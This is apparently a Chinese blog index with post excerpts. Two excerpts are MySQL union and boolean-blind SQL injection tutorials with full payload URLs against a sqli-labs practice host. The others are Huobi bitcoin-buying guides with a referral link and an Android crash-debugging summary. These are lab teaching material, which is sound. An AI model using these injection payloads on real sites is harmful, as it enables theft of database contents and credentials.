• Mysql注入 -- 联合注入

    一、常用命令及函数 1、order by排序,获取数据有几个字段,后面小于等于字段数,都会返回结果,大于字段数返回错误 select * from users order by 3; 2、union select联合查询,后边必须跟一样的字段数 select * from users union select 1,2,5; 3、user()查看当前mysql用户 4、version()查看mysql版本信息 5、database()查看当前数据库名 select * from users union select user(),version(),database(); 二、跨库查询 1、获取aiyou数据库中表 select * from users union select 1,2,table_name from information_schema.tables where table_schema="aiyou"; 2、获取下一个表格 select * from users union select 1,2,table_name from information_schema.tables where table_schema="aiyou" limit 0,1;select * from users union select 1,2,table_name from information_schema.tables where table_schema="aiyou" limit 1,1;select * from users union select 1,2,table_name from information_schema.tables where table_schema="aiyou" limit 2,1; 3、获取字段名 select * from users union select 1,2,column_name from information_schema.columns where table_name="bucuo"; 4、获取字段内容 select * from users union select 1,2,username from users; 三、实例演示(sqli环境) 1、判断表有多少字段,order by 3返回正常,所以有三个字段 http://192.168.139.129/sqli/Less-2/?id=1 order by 3 2、联合查询可以显示的数列,让前面的select语句报错,才能执行后面的select语句 http://192.168.139.129/sqli/Less-2/?id=1 and 1=2 union select 1,2,3 3、获取数据库名字和版本信息,因为1不能显示,所以将2和3替换为version(),database() http://192.168.139.129/sqli/Less-2/?id=1 and 1=2 union select 1,version(),database() 4、获取数据库security的表 http://192.168.139.129/sqli/Less-2/?id=1 and 1=2 union select 1,2,table_name from information_schema.tables where table_schema="security" 获取第二个表、第三个表 http://192.168.139.129/sqli/Less-2/?id=1 and 1=2 union select 1,2,table_name from information_schema.tables where table_schema="security" limit 1,1 -- 5、获取表名为users的字段名 http://192.168.139.129/sqli/Less-2/?id=1 and 1=2 union select 1,2,column_name from information_schema.columns where table_name="users"http://192.168.139.129/sqli/Less-2/?id=1 and 1=2 union select 1,2,column_name from information_schema.columns where table_name="users" limit 1,1 -- 6、获取字段内容 http://192.168.139.129/sqli/Less-2/?id=1 and 1=2 union select 1,2,username from usershttp://192.168.139.129/sqli/Less-2/?id=1 and 1=2 union select 1,2,username from users limit 1,1 -- 禁止非法,后果自负 ...

    2021-05-15 553
  • Mysql注入 -- 布尔注入

    一、常用函数 1、mid(str,1,5):取字符串str的前5个字节 2、ord():转换成ASCII码 3、length():统计长度 4、 ascii():将字符转换ASCII 二、实例演示 1、and 1=1 访问http://192.168.139.129/sqli/Less-8/?id=1' and 1=1 --+ 返回正确 2、and 1=2 访问http://192.168.139.129/sqli/Less-8/?id=1' and 1=2 --+ 返回错误 3、判断数据库长度 http://192.168.139.129/sqli/Less-8/?id=1' and length(database())>=8 --+返回正常,说明数据库长度为8http://192.168.139.129/sqli/Less-8/?id=1' and length(database())>=9 --+返回错误 4、判断数据库第一个字母 http://192.168.139.129/sqli/Less-8/?id=1' and mid(database(),1,1)='s' --+ 不停的修改二十六个字母,知道正确为之 5、判断数据库第二个字母 http://192.168.139.129/sqli/Less-8/?id=1' and mid(database(),2,1)='e' --+ 最终获取数据库的名称为“security” 6、获取表名,最终获取表名users http://192.168.139.129/sqli/Less-8/?id=1' and mid((select table_name from information_schema.tables where table_schema=database() limit 3,1),1,1)='u' --+ 7、获取字段名,最终获取字段名password http://192.168.139.129/sqli/Less-8/?id=1' and mid((select column_name from information_schema.columns where table_name='users' limit 12,1),1,1)='p' --+ 8、获取字段内容,最终获取一个名为admin的内容 http://192.168.139.129/sqli/Less-8/?id=1' and mid((select password from users limit 8,1),1,1)='a' --+ 禁止非法,后果自负 ...

    2021-05-15 682
  • 炒币入门―火币网比特币怎么购买

    购买比特币也是一个很简单的事情,大家可能网上看到购买比特币需要美元也就是USDT,那么在国内我们哪来的USDT呢,其实USDT也是数字货币的一种,他并不是就代表着美元,下面小编就教大家如何去购买比特币,首先准备好一个智能手机即可。 第一步,下载交易所我们就以火币交易所为例,因为小编一直都是用火币交易所来炒币的,火币网给小编的感觉就是客服服务态度很好,而且可以说历史悠久的一家交易所,当然你可以根据自己的喜好选择自己顺手的交易所,我们下载好火币网后,点击注册然后登录,这里就跳过注册的步骤,因为这个很简单有提示会教你如何操作的。 注册火币网:https://www.huobi.li/zh-cn/topic/invited/?invite_code=rhnu5 第二,打开最下方的交易按钮,选择最上方的法币交易(法币的意思就是人民币购买,可以支付宝微信银行)选择USDT,然后在购买相应的USDT数量后选择购买。 第三,选择上图任意一家出售的商家,大家注意看,数量,也就是限额,要购买在自己的范围内的金额,比如你要买一千元的USDT,那么你就要选择限额在一千元内的。选好后点击购买。 第四,购买好了以后我们就选择返回,然后在点右下角的资产,选择法币,把刚才购买的USDT点开 第五,点开USDT后选择划转,这里说下为什么要划转,因为你只有划转到币币交易后才可以在交易所任意去买卖币。 第六,如下图,点开划转后,会有这样一个提示,法币账户划转到币币账户中,这个时候我们只需要点击下全部即可。这样就会提示划转成功。 第七,返回到主页点击交易,上方的币币交易,这个时候我们就可以购买BTC比特币了是不是很简单,其实你每一步的操作交易所都会提示你的,只是对于新手而言可能会比较绕,但是你仔细按照每一步的操作后就可以了,这样你就成功拥有可以购买比特币了。 ...

    2021-04-26 599
  • 火币网注册交易(手机端教程)

    今天这篇文章我将向大家介绍,手机端教程和PC端界面操作有点不同。 免**屏蔽敏感词**最新地址(官方认证): 扫描二维码注册: 目录: 1.如何注册火币网 2.火币网如何进行身份认证 3.如何往火币网里面充值人民币 4.如何通过火币网卖币变现(换成人民币) 1.如何注册火币网 你可以通过扫描下方二维码注册火币网,不需要科学上网: 进去后,填写相应的字段即可。 2.火币网如何进行身份认证 (点击小头像进入个人中心,按步骤认证) 如上图,点击”身份认证“入口即可进行身份认证。如果你没有认证,则一步步进行身份认证即可,按照流程操作即可。 提示:火币交易的话身份认证是必须的,因为要防止洗钱等违法行为。 3.如何往火币网里面充值人民币 火币目前不支持直接给火币官方充钱,不过如果你想买比特币等数字货币的话,可以通过法币交易在第三方商家那里购买比特币等。如下图操作即可: (图,先点交易然后点法币) (选我要买,可以买UDST/比特币/等) 这种法币交易的基本流程就是: 1)你发起提交一个订单 2)火币官方将商户的对应币锁定 3)你私下通过支付宝、微信或者银行卡给第三方商户转款 4)对方收到款后放币给你,于是你就收到了币了。 如果对方收到款不放币怎么办?没关系,因为商户的币都被锁定了,如果他不放币,会被强制放币并且会被判断为违约,对他影响不好,所以一般都会很快放币的。 4.如何通过火币网卖币变现(换成人民币) 卖币变现是通过法币交易完成的。 点交易,然后选法币,就可以卖出币。 1)先点法币账户,如上图 2)在法币资产列表中,找到你想要卖出变现的币种。(如果没有,你则需要通过币币交易将你的数字货币交易兑换成支持的法币资产) 3)你的币通过充值的形式或者资金划转(即从其他账户划转到法币账户)的形式划转到法币资产账户里面 4)点击上方的法币交易,然后下面点”普通交易“,选出售。后面按照流程一步步来即可。 ...

    2021-04-26 1053
  • Android实际开发bug大总结

    目录介绍 1.1 java.lang.UnsatisfiedLinkError找不到so库异常 1.2 java.lang.IllegalStateException非法状态异常 1.3 android.content.res.Resources$NotFoundException 1.4 java.lang.IllegalArgumentException参数不匹配异常 1.5 IllegalStateException:Can't compress a recycled bitmap 1.6 java.lang.NullPointerException空指针异常 1.7 android.view.WindowManager$BadTokenException异常 1.8 java.lang.ClassCastException类转化异常 1.9 Toast运行在子线程问题,handler问题 2.1 java.lang.ClassNotFoundException类找不到异常 2.2 java.util.concurrent.TimeoutException连接超时崩溃 2.3 java.lang.NumberFormatException格式转化错误 2.4 java.lang.IllegalStateException: Fragment not attached to Activity 2.5 ArrayIndexOutOfBoundsException 角标越界异常 2.6 IllegalAccessException 方法中构造方法权限异常 2.7 android.view.WindowManager$BadTokenException,dialog弹窗异常 2.8 java.lang.NoClassDefFoundError 找不到类异常 2.9 Android出现:Your project path contains non-ASCII characters. 3.1 OnErrorNotImplementedException【 Can't create handler inside thread that has not called Looper.prepare()】 3.2 adb.exe,start-server' failed -- run manually if necessary 3.3 java.lang.IllegalStateException: ExpectedBEGIN_OBJECT but was STRING at line 1 column 1 path $ 3.4 android.content.ActivityNotFoundException: No Activity found to handle Intent 3.5 Package manager has died导致崩溃 3.6 IllegalArgumentException View添加窗口错误 3.7 IllegalStateException: Not allowed to start service Intent异常崩溃 3.8 java.lang.IllegalStateException:Can not perform this action after onSaveInstanceState 3.9 在Fragment中通过getActivity找不到上下文,报null导致空指针异常 4.1 IllegalArgumentException导致崩溃【url地址传入非法参数,转义字符】 4.2 ClassNotFoundException: Didn't find class "*****" on path: /data/app/**错误 4.3 NoClassDefFoundError异常【该异常表示找不到类定义】 4.4 公司之前项目使用客服udesk,sdk更新后初始化导致崩溃问题 4.5 java.util.concurrent.ExecutionException: com.android.tools.aapt2.Aapt2Exception 4.6 java.util.concurrent.ExecutionException: com.android.ide.common.process.ProcessException 4.7 00768556 /vendor/lib/libllvm-glnext.so [armeabi-v8]无法加载so库导致崩溃 4.8 Only the src thread that created a view hierarchy can touch its views 4.9 NoSuchMethodException  android.support.v4.app.Fragment$InstantiationException 详解 1.1 java.lang.UnsatisfiedLinkError A.详细崩溃日志信息 # main(1) java.lang.UnsatisfiedLinkError dalvik.system.PathClassLoader[DexPathList[[zip file "/data/app/com.paidian.hwmc-1/base.apk", dex file "/data/app/com.paidian.hwmc-1/base.apk"],nativeLibraryDirectories=[/data/app/com.paidian.hwmc-1/lib/arm64, /data/app/com.paidian.hwmc-1/base.apk!/lib/arm64-v8a, /vendor/lib64, /system/lib64]]] couldn't find "libijkffmpeg.so" B.查看崩溃类信息这个异常类的大意是:如果Java虚拟机找不到声明为本机的方法的适当本机语言定义,则引发。 public class UnsatisfiedLinkError extends LinkageError { private static final long serialVersionUID = -4019343241616879428L; public UnsatisfiedLinkError() { super(); } public UnsatisfiedLinkError(String s) { super(s); } } C.项目中异常分析 根据实际项目可知,当准备播放视频时,找不到libijkffmpeg.so这个库,导致直接崩溃。 D.引发崩溃日志的流程分析F.解决办法 1.建议检查so在安装的过程中是否丢失,没有放入指定的目录下; 2.调用loadLibrary时检查是否调用了正确的so文件名,并对其进行捕获,进行相应的处理,防止程序发生崩溃; 3.检查下so的架构是否跟设备架构一至(如在64-bit架构下调用32-bit的so)。 报这个错误通常是so库加载失败,或者找不到准备执行的JNI方法: 代码展示 ndk { //根据需要 自行选择添加的对应cpu类型的.so库。 //abiFilters 'armeabi', 'armeabi-v7a', 'arm64-v8a', 'x86', 'mips' abiFilters 'armeabi-v7a' } dependencies { compile fileTree(dir: 'libs', include: ['*.jar']) //这两个是必须要加的,其它的可供选择 compile 'tv.danmaku.ijk.media:ijkplayer-java:0.8.4' compile 'tv.danmaku.ijk.media:ijkplayer-armv7a:0.8.4' //其他库文件 //compile 'tv.danmaku.ijk.media:ijkplayer-armv5:0.8.8' //compile 'tv.danmaku.ijk.media:ijkplayer-arm64:0.8.8' //compile 'tv.danmaku.ijk.media:ijkplayer-x86:0.8.8' //compile 'tv.danmaku.ijk.media:ijkplayer-x86_64:0.8.8' } G.知识延申 Android 应用开发者应该对 UnsatisfiedLinkError 这种类型的错误比较熟悉了,这个问题一直困扰着广大的开发者,那么有没有想过有可能你什么都没做错,也会出现这个问题呢? 我们在 Android 应用开发测试过程中曾经碰到过这样的案例,apk 在某机型上安装完成之后运行即崩溃,报错 UnsatisfiedLinkError。 java.lang.UnsatisfiedLinkError: Couldn’t load mobsec from loader dalvik.system.PathClassLoader.....findLibrary returned null 首先怀疑是在 apk 中相应的 libs\abi 目录下没有放置 libmobsec.so,然而检查发现这个 so 在所有的 libs\abi 下都有放置过,继续排查; 然后的想法是放置的 so 不是对应 abi 的,比如由于粗心在 armeabi 目录下放置了 x86 指令集的 so,导致在 armeabi 指令集手机上加载出错,这个也被排除掉; 就在没有头绪的时候,想到 System.loadLibrary 函数加载 so 时,系统是从指定的路径下加载的,那么这个路径下 so 是否存在呢? 我们知道应用的私有 Native library 目录 /data/data/packagename/lib 是一个符号链接,链接到 /data/app-lib/ 目录,System.loadLibrary 是到这个目录去尝试加载 so 的。 adb shell 到这个路径下,使用命令 ls 查看,果然这个 libmobsec.so 是不存在的。那么是什么原因导致的呢? 分析 Android 系统源码的实现,发现 /data/app-lib/ 这个目录下的 so ,是在系统安装 apk 时从 apk 的 lib 目录下去抽取的。 1.2 java.lang.IllegalStateException非法状态异常 A.详细崩溃日志信息 onSaveInstanceState方法是在该Activity即将被销毁前调用,来保存Activity数据的,如果在保存玩状态后 再给它添加Fragment就会出错。 IllegalStateException: Can not perform this action after onSaveInstanceState: B.查看崩溃类信息 在非法或不适当的时间调用方法的信号。换句话说,Java环境或Java应用程序没有处于请求操作的适当状态。 public class IllegalStateException extends RuntimeException { public IllegalStateException() { super(); } public IllegalStateException(String s) { super(s); } public IllegalStateException(String message, Throwable cause) { super(message, cause); } public IllegalStateException(Throwable cause) { super(cause); } static final long serialVersionUID = -1848914673093119416L; } C.项目中异常分析 分析 D.引发崩溃日志的流程分析F.解决办法 解决办法就是把commit()方法替换成 commitAllowingStateLoss() G.其他延申 错误类型大致为以下几种: java.lang.IllegalStateException:Can't change tag of fragment d{e183845 #0 d{e183845}}: was d{e183845} now d{e183845 #0 d{e183845}} java.lang.IllegalStateException:Expected BEGIN_ARRAY but was BEGIN_OBJECT at line 1 column 37 path $.data 第一种:我在显示fragment的代码中使用了:fragment.show(getSupportFragmentManager, fragment.toString());而这里是因为两次toString()结果不同,导致不同的tag指向的是同一个fragment。获取fragment的tag的正确方法应该是使用其提供的fragment.getTag()方法。 第二种:该异常是由于服务器错误返回的JSON字符串和服务器正常下时返回的JSON字符串结构不同,导致利用Gson解析的时候报了一个异常:本该去解析集合却强制去解析对象所致.解决办法:在使用Gson解析JSON时try cash一下,不报错按照正常逻辑继续解析,报异常则处理为请求失败逻辑即可. 1.3 android.content.res.Resources$NotFoundException A.详细崩溃日志信息 Android资源不是可绘制的(颜色或路径) Resource is not a Drawable (color or path): TypedValue{t=0x2/d=0x7f040151 a=2} android.view.LayoutInflater.createView(LayoutInflater.java:620) B.查看崩溃类信息 当找不到请求的资源时,资源API将引发此异常。 public static class NotFoundException extends RuntimeException { public NotFoundException() { } public NotFoundException(String name) { super(name); } public NotFoundException(String name, Exception cause) { super(name, cause); } } C.项目中异常分析 由于将图片资源拷贝到了drawable-land-xhdpi目录下,本来应该拷贝到drawable-xhdpi目录下。 D.引发崩溃日志的流程分析F.解决办法 1.引用的资源ID 是否能匹配到R.java文件中定义的资源; 2.是否因为缓存等原因导致编译APK时未把资源文件打包进去,可以把APK反编译检查下; 3.是否使用了一个错误的类型来引用了某个资源或者配置资源时存在错误; 4.是否将Int等整型变量作为了参数传给了View.setText调用,这种情况下该整型变量将被认为是一个资源ID号去资源列表中查找对应的资源,导致找不到对应资源错误;解决方法是做类型转换View.setText(String.valueOf(Int id))。 1.4 java.lang.IllegalArgumentException参数不匹配异常 A.详细崩溃日志信息 B.查看崩溃类信息 参数不匹配异常,通常由于传递了不正确的参数导致。 public class IllegalArgumentException extends RuntimeException { public IllegalArgumentException() { super(); } public IllegalArgumentException(String s) { super(s); } public IllegalArgumentException(String message, Throwable cause) { super(message, cause); } public IllegalArgumentException(Throwable cause) { super(cause); } private static final long serialVersionUID = -5365630128856068164L; } C.项目中异常分析 D.引发崩溃日志的流程分析 F.解决办法 G.常见的出现场景 Activity、Service状态异常; 非法URL; UI线程操作。 Fragment中嵌套了子Fragment,Fragment被销毁,而内部Fragment未被销毁,所以导致再次加载时重复,在onDestroyView() 中将内部Fragment销毁即可 在请求网络的回调中使用了glide.into(view),view已经被销毁会导致该错误 1.5 IllegalStateException:Can't compress a recycled bitmap A.详细崩溃日志信息 无法压缩回收位图 Can't compress a recycled bitmap com.paidian.hwmc.utils.i.a(FileUtils.java:75) B.查看崩溃类信息 如果位图已被回收,则希望抛出异常的方法将调用此值。知道了崩溃的具体位置,就该分析具体的原因呢! public boolean compress(CompressFormat format, int quality, OutputStream stream) { checkRecycled("Can't compress a recycled bitmap"); //省略代码 return result; } //如果位图已被回收,则希望抛出异常的方法将调用此值。 private void checkRecycled(String errorMessage) { if (mRecycled) { throw new IllegalStateException(errorMessage); } } C.项目中异常分析 使用了已经被释放过内存的对象。对于Bitmap:Bitmap  bitmap=一个bitmap对象。使用过程中调用bitmap.recycle(),之后再使用bitmap就会报错。 D.引发崩溃日志的流程分析 bitmap.recycle()解释如下所示,释放与此位图关联的本机对象,并清除对像素数据的引用。这将不会同步释放像素数据;它只允许在没有其他引用的情况下对其进行垃圾收集。位图被标记为“死”,这意味着如果调用getPixels()或setPixels(),它将抛出异常,而不会绘制任何内容。此操作不能反转,因此只有在确定没有进一步使用位图的情况下才应调用该操作。这是一个高级调用,通常不需要调用,因为当没有对此位图的引用时,普通GC进程将释放此内存。 Free the native object associated with this bitmap, and clear the reference to the pixel data F.解决办法 第一种:在使用bitmap前增加判断,if (mBitmap.isRecycled()) return null; 1.6 java.lang.NullPointerException空指针异常 A.详细崩溃日志信息 Please call the AutoSizeConfig#init() first com.paidian.hwmc.base.BaseApplication.initAutoSizeConfig(BaseApplication.java:386) B.查看崩溃类信息 空指针异常,也是十分常见的一个异常 public class NullPointerException extends RuntimeException { private static final long serialVersionUID = 5162710183389028792L; public NullPointerException() { super(); } public NullPointerException(String s) { super(s); } } C.项目中异常分析 空指针发生场景较多,是指某一个对象报null,这个使用去使用它的话就i会报该异常。 D.引发崩溃日志的流程分析 查看Log信息看第一行导致空指针发生的代码,直接双击打开报空指针的类 查看该行代码中有几处调用了方法,则有几个对象可能是空的,找出哪个对象是空的 查看这些对方在哪里赋值了 如果没赋值,则给她赋值,问题解决 如果有地方赋值了,则看这个方法有没有被调用(Ctrl + Shift + G) 如果没有调用(可能没调用或可能调用时机太晚),在使用她前先调用赋值,问题解决 如果有调用,则看是不是有其它地方又给她赋值为null了,如果没有设置为null,则要看赋值的变量和我们使用时的变量是否是同一个变量。 导致出现空指针的原因:必须满足两个条件才会发生空指针:引用变量指向了空,并且调用了这个引用的方法 空指针问题解决思路: F.解决办法 1.方法形参要判空后才使用; 2.全局变量容易被系统回收或者更改,使用全局变量前建议判空; 3.第三方接口的调用,对返回值进行判空。 4.请注意线程安全 空指针最为常见,也最容易规避,使用的时候一定要进行null check,采取不信任原则: 1.7 android.view.WindowManager$BadTokenException异常,Toast报错Unable to add window A.详细崩溃日志信息 报错日志,是不是有点眼熟呀? android.view.WindowManager$BadTokenException Unable to add window -- token android.os.BinderProxy@7f652b2 is not valid; is your activity running? B.查看崩溃类信息 查询报错日志是从哪里来的 C.项目中异常分析 D.引发崩溃日志的流程分析 这个异常发生在Toast显示的时候,原因是因为token失效。通常情况下,一般是不会出现这种异常。但是由于在某些情况下, Android进程某个UI线程的某个消息阻塞。导致 TN 的 show 方法 post 出来 0 (显示) 消息位于该消息之后,迟迟没有执行。这时候,NotificationManager 的超时检测结束,删除了 WMS 服务中的 token 记录。删除 token 发生在 Android 进程 show 方法之前。这就导致了上面的异常。 测试代码。模拟一下异常的发生场景,其实很容易,只需要这样做就可以出现上面这个问题 Toast.makeText(this,"潇湘剑雨-yc",Toast.LENGTH_SHORT).show(); try { Thread.sleep(20000); } catch (InterruptedException e) { e.printStackTrace(); } F.解决办法 按照源码分析,异常是发生在下一个UI线程消息中,因此在上一个ui线程消息中加入try-catch是没有意义的。而且用到吐司地方这么多,这样做也不方便啦! 目前见过好几种,思考一下那种比较好…… 第一种,既然是报is your activity running,那可以不可以在吐司之前先判断一下activity是否running呢? 第二种,抛出异常增加try-catch,代码如下所示,最后仍然无法解决问题 第三种,那就是自定义类似吐司Toast的view控件。个人建议除非要求非常高,不然不要这样做。毕竟发生这种异常还是比较少见的 G.哪些情况会发生该问题? UI 线程执行了一条非常耗时的操作,比如加载图片等等,就类似上面用 sleep 模拟情况 进程退后台或者息屏了,系统为了减少电量或者某种原因,分配给进程的cpu时间减少,导致进程内的指令并不能被及时执行,这样一样会导致进程看起来”卡顿”的现象 当TN抛出消息的时候,前面有大量的 UI 线程消息等待执行,而每个 UI 线程消息虽然并不卡顿,但是总和如果超过了 NotificationManager 的超时时间,还是会出现问题 1.8 java.lang.ClassCastException类转化异常 A.详细崩溃日志信息 android.widget.FrameLayout cannot be cast to android.widget.RelativeLayout com.paidian.hwmc.goods.activity.GoodsDetailsActivity.initView(GoodsDetailsActivity.java:712) B.查看崩溃类信息 抛出以指示代码试图将对象强制转换为它不是实例的子类。 public class ClassCastException extends RuntimeException { private static final long serialVersionUID = -9223365651070458532L; public ClassCastException() { super(); } public ClassCastException(String s) { super(s); } } C.项目中异常分析 该异常表示类型转换异常,通常是因为一个类对象转换为其他不兼容类对象抛出的异常,检查你要转换的类对象类型。 D.引发崩溃日志的流程分析 F.解决办法 一般在强制类型转换时出现,例如如果A向B转换,而A不是B的父类时,将产生java.lang.ClassCastException异常。一般建议做这时要使用instanceof做一下类型判断,再做转换。 该案例中,需要把FrameLayout更改成RelativeLayout就可以呢 1.9 Toast运行在子线程问题,handler问题 A.详细崩溃日志信息 先来看看问题代码,会出现什么问题呢? new Thread(new Runnable() { @Override public void run() { ToastUtils.showRoundRectToast("潇湘剑雨-杨充"); } }).start(); 报错日志如下所示: 然后找找报错日志从哪里来的 子线程中吐司的正确做法,代码如下所示 new Thread(new Runnable() { @Override public void run() { Looper.prepare(); ToastUtils.showRoundRectToast("潇湘剑雨-杨充"); Looper.loop(); } }).start(); 得出的结论 Toast也可以在子线程执行,不过需要手动提供Looper环境的。 Toast在调用show方法显示的时候,内部实现是通过Handler执行的,因此自然是不阻塞Binder线程,另外,如果addView的线程不是Loop线程,执行完就结束了,当然就没机会执行后续的请求,这个是由Hanlder的构造函数保证的。可以看看handler的构造函数,如果Looper==null就会报错,而Toast对象在实例化的时候,也会为自己实例化一个Hanlder,这就是为什么说“一定要在主线程”,其实准确的说应该是 “一定要在Looper非空的线程”。 Handler的构造函数如下所示: 2.1 java.lang.ClassNotFoundException类找不到异常 A.详细崩溃日志信息 Didn't find class "om.scwang.smartrefresh.layout.SmartRefreshLayout" on path: DexPathList[[zip file "/data/app/com.paidian.hwmc-EsIbVq6e0mFwE0-rPanqdg==/base.apk", zip file "/data/app/com.paidian.hwmc-EsIbVq6e0mFwE0-rPanqdg==/split_lib_dependencies_apk.apk", zip file "/data/app/com.paidian.hwmc-EsIbVq6e0mFwE0-rPanqdg==/split_lib_slice_0_apk.apk", zip file "/data/app/com.paidian.hwmc-EsIbVq6e0mFwE0-rPanqdg==/split_lib_slice_1_apk.apk", zip file "/data/app/com.paidian.hwmc-EsIbVq6e0mFwE0-rPanqdg==/split_lib_s com.paidian.hwmc.goods.activity.GoodsDetailsActivity.onCreate(GoodsDetailsActivity.java:209) B.查看崩溃类信息 当应用程序尝试使用字符串名称加载类时引发:但无法找到具有指定名称的类的定义。从1.4版开始,已对此异常进行了修改,以符合通用的异常链接机制。在构建时提供并通过{@link#getException()}方法访问的“在加载类时引发的可选异常”现在称为原因,并且可以通过{@link Throwable#getCace()}方法以及前面提到的“遗留方法”进行访问。 public class ClassNotFoundException extends ReflectiveOperationException { private static final long serialVersionUID = 9176873029745254542L; private Throwable ex; public ClassNotFoundException() { super((Throwable)null); // Disallow initCause } public ClassNotFoundException(String s) { super(s, null); // Disallow initCause } public ClassNotFoundException(String s, Throwable ex) { super(s, null); // Disallow initCause this.ex = ex; } public Throwable getException() { return ex; } public Throwable getCause() { return ex; } } C.项目中异常分析 该异常表示在路径下,找不到指定类,通常是因为构建路径问题导致的。 D.引发崩溃日志的流程分析 F.解决办法 1.要找的Class被混淆了,存在但名字变了; 2.要找的Class未被打入Dex,确实不存在,可能是因为自己的疏忽,或编译环境的冲突; 3.要找的Class确实存在,但你的Classlorder找不到这个Class,往往因为这个Classloder是你自实现的(插件化应用中常见)。 类名是以字符串形式标识的,可信度比较低,在调用Class.forName(""),Class.findSystemClass(""),Class.loadClass("")等方法时,找不到类名时将会报错。如果找不到的Class是系统Class,那么可能是系统版本兼容,厂家Rom兼容的问题,找到对应的设备尝试重现,解决方法可以考虑更换Api,或用自己实现的Class替代。 如果找不到的Class是应用自由Class(含第三方SDK的Class),可以通过反编译工具查看对应apk中是否真的缺少该Class,再进行定位,这种往往发生在: G.其他延申 2.2 java.util.concurrent.TimeoutException连接超时崩溃 A.详细崩溃日志信息 java.util.concurrent.TimeoutException: android.view.ThreadedRenderer.finalize() timed out after 10 seconds at android.view.ThreadedRenderer.nDeleteProxy(Native Method) at android.view.ThreadedRenderer.finalize(ThreadedRenderer.java:423) B.查看崩溃类信息 当阻塞操作超时引发的异常。指定超时的阻塞操作需要一种方法来指示已发生超时。对于许多此类操作,可以返回指示超时的值;如果不可能或不需要,则应声明并抛出{@code TimeoutException}。 public class TimeoutException extends Exception { private static final long serialVersionUID = 1900926677490660714L; public TimeoutException() {} public TimeoutException(String message) { super(message); } } C.项目中异常分析 D.引发崩溃日志的流程分析 F.解决办法 一般是系统在gc时,调用对象的finalize超时导致,解决办法: 1.检查分析finalize的实现为什么耗时较高,修复它; 2.检查日志查看GC是否过于频繁,导致超时,减少内容开销,防止内存泄露。 G.其他延申 2.3 java.lang.NumberFormatException格式转化错误 A.详细崩溃日志信息 Exception in thread "main" java.lang.NumberFormatException: For input string: "100 " at java.lang.NumberFormatException.forInputString(NumberFormatException.java:48) at java.lang.Integer.parseInt(Integer.java:458) at java.lang.Integer.parseInt(Integer.java:499) B.查看崩溃类信息 引发,以指示应用程序试图将字符串转换为数字类型之一,但该字符串没有适当的格式。 public class NumberFormatException extends IllegalArgumentException { static final long serialVersionUID = -2848938806368998894L; public NumberFormatException () { super(); } public NumberFormatException (String s) { super (s); } static NumberFormatException forInputString(String s) { return new NumberFormatException("For input string: \"" + s + "\""); } } C.项目中异常分析 错误关键字 java.lang.NumberFormatException 这句话明确告诉了我们是数字格式异常,接着后面有 For input string: "100 " 提示,这就告诉我们,当前想把 "100 " 转换成数字类型时出错了,这样就很确切了。 D.引发崩溃日志的流程分析 F.解决办法 解决办法很简单,改成 Integer.parseInt(str.trim()),注意将字符串转化成整数数据类型时,注意需要trim一下。 G.其他延申 2.4 java.lang.IllegalStateException: Fragment not attached to Activity A.详细崩溃日志信息 java.lang.IllegalStateException: Fragment not attached to Activity B.查看崩溃类信息 C.项目中异常分析 出现该异常,是因为Fragment的还没有Attach到Activity时,调用了如getResource()等,需要上下文Content的函数。 出现该异常,是因为Fragment还没有Attach到Activity时,调用了如getResource()等,需要上下文Context的函数。解决方法,就是等将调用的代码写在OnStart()中。 D.引发崩溃日志的流程分析 F.解决办法 将调用的代码运行在Fragment Attached的生命周期内。 第一种:在调用需要Context的函数之前,增加一个判断isAdded() if(isAdded()){//isAdded方法是Android系统提供的,只有在Fragment被添加到所属的Activity后才返回true activity.getResourses().getString(...); } 第二种:如下所示 @Override public void onAttach(Context context) { super.onAttach(context); activity = (MainActivity) context; } @Override public void onDetach() { super.onDetach(); if (activity != null) { activity = null; } } G.其他延申 发生场景:该错误经常发生在fragment的线程中执行了一个耗时操作,线程在执行完毕后会调用getResources来更新ui。如果在线程操作没有完成,就调用getActivity().recreate()重新加载activity或屏幕旋转,这时就会出现Fragment not attached to Activity的错误 2.5 ArrayIndexOutOfBoundsException 角标越界异常 A.详细崩溃日志信息 该异常表示数组越界 java.lang.ArrayIndexOutOfBoundsException: 0 at com.example.mytest.CityAdapter.setDataNotify(CityAdapter.java:183) at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62) B.查看崩溃类信息 引发,以指示已使用非法索引访问数组。索引不是负的,就是大于或等于数组的大小。 public class ArrayIndexOutOfBoundsException extends IndexOutOfBoundsException { private static final long serialVersionUID = -5116101128118950844L; public ArrayIndexOutOfBoundsException() { super(); } public ArrayIndexOutOfBoundsException(int index) { super("Array index out of range: " + index); } public ArrayIndexOutOfBoundsException(String s) { super(s); } public ArrayIndexOutOfBoundsException(int sourceLength, int index) { super("length=" + sourceLength + "; index=" + index); } public ArrayIndexOutOfBoundsException(int sourceLength, int offset, int count){ super("length=" + sourceLength + "; regionStart=" + offset + "; regionLength=" + count); } } C.项目中异常分析 D.引发崩溃日志的流程分析 F.解决办法 这种情况一般要在数组循环前做好length判断,index超出length上限和下限时都会报错。举例如下:一个数组int test[N],一共有N个元素分别是test[0]~test[N-1],如果调用test[N],将会报错。建议读取时,不要超过数组的长度(array.length)。 Android中一种常见情形就是上拉刷新中header也会作为listview的第0个位置,如果判断失误很容易造成越界。 G.其他延申 2.6 IllegalAccessException 方法中构造方法权限异常 A.详细崩溃日志信息 Unable to instantiate application com.pedaily.yc.meblurry.App: java.lang.IllegalAccessException B.查看崩溃类信息 当应用程序试图反射地创建实例(数组除外)、设置或获取字段或调用方法时,将引发IllegalAccessException,但当前执行的方法无法访问指定的类、字段、方法或构造函数的定义。 public class IllegalAccessException extends ReflectiveOperationException { private static final long serialVersionUID = 6616958222490762034L; public IllegalAccessException() { super(); } public IllegalAccessException(String s) { super(s); } } C.项目中异常分析 错误提示是,构造方法的权限不对 D.引发崩溃日志的流程分析 F.解决办法 检查了整个Application,才发现,原来有一个无参数的构造方法,被设计成private。修改其为public即可。 G.其他延申 android BroadcastReceiver遇到java.lang.IllegalAccessException解决方法,错误原因主要是app中其他地方调用了默认的构造函数,必须增加默认构造函数且访问权限为public 2.7 android.view.WindowManager$BadTokenException,dialog弹窗异常 A.详细崩溃日志信息 Unable to add window -- token android.os.BinderProxy@9a57804 is not valid; is your activity running? android.view.ViewRootImpl.setView(ViewRootImpl.java:907) B.查看崩溃类信息 在WindowManager中可以找到这个异常类,主要发生在尝试添加视图时引发的 public static class BadTokenException extends RuntimeException { public BadTokenException() { } public BadTokenException(String name) { super(name); } } C.项目中异常分析 该异常表示不能添加窗口,通常是所要依附的view已经不存在导致的。 D.引发崩溃日志的流程分析 F.解决办法 